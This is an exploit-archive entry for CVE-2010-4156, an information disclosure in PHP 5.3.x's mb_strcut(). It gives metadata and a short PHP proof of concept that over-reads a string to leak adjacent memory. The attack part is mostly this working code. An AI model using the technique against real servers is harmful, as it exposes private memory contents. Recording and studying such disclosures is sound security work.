PHP 5.3.x - 'mb_strcut()' Information Disclosure
Author: Mateusz Kocielski
type: remote
platform: php
port:
date_added: 2010-11-07
date_updated: 2017-10-16
verified: 1
codes: CVE-2010-4156;OSVDB-69099
tags:
aliases:
screenshot_url:
application_url:
# source: https://www.securityfocus.com/bid/44727/info
#
# PHP is prone to an information-disclosure vulnerability.
#
# Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
#
<?php
$b = "bbbbbbbbbbb";
str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1);
$var3 = mb_strcut($b, 0, 1000);
echo $var3;
?>